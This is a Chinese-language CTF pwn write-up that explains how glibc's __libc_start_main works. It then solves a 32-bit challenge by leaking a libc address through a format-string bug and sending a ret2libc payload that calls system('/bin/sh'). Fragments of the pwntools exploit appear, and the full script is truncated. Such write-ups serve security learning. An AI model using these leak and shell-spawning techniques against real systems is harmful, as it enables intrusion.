libc_start_main
在 pwn 题目当中,我们经常会选择寻找 libc_start_main 函数来泄露 libc 基地址。 我们想要泄露的是 __libc_start_main 相关的地址,这个地址其实就是 main 函数执行完后的返回地址。 返回地址永远存放在 ebp 的正下方,即高地址处,也就是 ebp + 4。下面来简单介绍一下这个函数的原理和调用方法。
libc_start_main
在 C/C++ 程序的生命周期中,__libc_start_main 是一个极其核心的幕后英雄。很多人以为程序的执行是从 main() 函数开始的,但实际上,在 main() 被调用之前和之后,系统和 C 标准库(如 glibc)做了大量的工作。
简单来说,__libc_start_main 是连接操作系统底层加载器与用户自定义 main() 函数的关键桥梁。
1. 程序启动的宏观流程
当你运行一个编译好的可执行文件时,操作系统的执行顺序大致如下:
- 操作系统 (OS) 加载可执行文件,并设置好栈区。
- 动态链接器 (ld-linux.so) 加载所需的共享库(如果程序是动态链接的)。
- 程序的真正入口点 _start 被调用。这是一个用汇编语言编写的简短代码段(存在于 crt1.o 中)。
- _start 函数准备好参数,然后调用 __libc_start_main。
- __libc_start_main 完成所有初始化后,调用你的 main() 函数。
- main() 返回后,__libc_start_main 负责清理工作并结束进程。
2. __libc_start_main 的函数签名
在 glibc 的源码中,这个函数的签名(略去一些宏定义)大致如下:
1 | int __libc_start_main( |
从参数可以看出,它接收了 main 函数以及程序的命令行参数,同时还接收了几个用于初始化和清理的函数指针。
3. __libc_start_main 的核心职责(执行步骤)
当 _start 调用 __libc_start_main 后,它会按顺序执行以下核心任务:
第一步:安全与环境检查
- 它会检查程序是否是 setuid 或 setgid 程序(涉及权限提升)。如果是,它会为了安全起见清理掉一些危险的环境变量(比如 LD_PRELOAD),防止恶意代码注入。
- 确定栈的边界(stack_end),这对于后续的栈溢出保护(Stack Canaries)等机制非常重要。
第二步:初始化 C 标准库 (libc)
- 设置线程的局部存储 (TLS, Thread Local Storage)。
- 初始化内存分配器(如 malloc 的内部结构)。
- 初始化标准 I/O 流(stdin, stdout, stderr),确保你能在 main 里直接使用 printf。
- 如果有栈保护机制(Stack Smashing Protector),在这里初始化随机的 Canary 值。
第三步:注册退出清理函数
- 它会调用 __cxa_atexit 或 atexit,将 fini(程序的析构函数)和 rtld_fini,动态链接器的析构函数注册进一个队列
- 无论是 main 正常 return,还是程序中途调用 exit(),都必须保证这些清理代码能被执行到。
第四步:执行程序的构造函数 (init)
- 调用传入的 init 函数(通常指向 __libc_csu_init)。
- 这里会执行可执行文件中 .init 段和 .init_array 段的代码。
- 对于 C++ 程序员来说:你定义的全局对象的构造函数,以及使用了 attribute((constructor)) 修饰的 C 函数,都是在这一步(即 main 函数之前)被执行的。
第五步:调用 main 函数
- 万事俱备,它终于调用了用户编写的代码:int result = main(argc, argv, envp);
- 它会将 argc、argv 以及环境变量数组 envp 传递给 main。
第六步:处理退出与清理
- 接收 main 函数的返回值(result)。
- 它将这个返回值传递给 C 库的 exit(result) 函数。
- exit() 函数会逆序调用之前注册的所有清理函数(析构 C++ 全局对象、刷新标准 I/O 缓冲区等),最后调用底层的系统调用(如 exit_group)正式终止进程并把状态码交还给操作系统。
例 1)ISCC_easy(32 格式化字符串&libc_start_main)
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
1 | ssize_t welcome() |
首先我们要明确,s 写在 stack 中且不存在栈溢出,x 写在 data 段,s 和 x 并没有直接关联,我们需要利用格式化字符串漏洞去修改.data 段的内容
- 定位 data:
1 | data = 0x804C030 |
- 格式化字符串篡改 .data 段:
1 | io.send(b'aaaaa%8$hhn%15$p' + p32(data)) |
1 | %1$x esp + 0x04 0xffc9d400 栈上的垃圾数据 |
看一下 _libc_start_main + 245,这通常是一个返回地址,从 gdb 当中我们可以看出来距离 aaaa 有 11 和便宜的距离,加上我们栈上 aaaa 的四个偏移,_libc_start_main + 245 应该偏移为 15。
- 计算 libc 基地址:
1 | libcbase = __libc_start_main - libc.sym['__libc_start_main'] |
- 获取 shell
1 | io.send(b'a' * 0x90 + p32(0) + p32(sys) + p32(0) + p32(bin_sh)) |
总EXP:
由于没有找到合适的 libc,打本地就直接 patch 自己的 libc-2.31.so 了
1 | from pwn import * |
更新: 2026-04-17 11:29:23
原文: https://www.yuque.com/idcm/wnemg9/hzbvgfq6voylx97g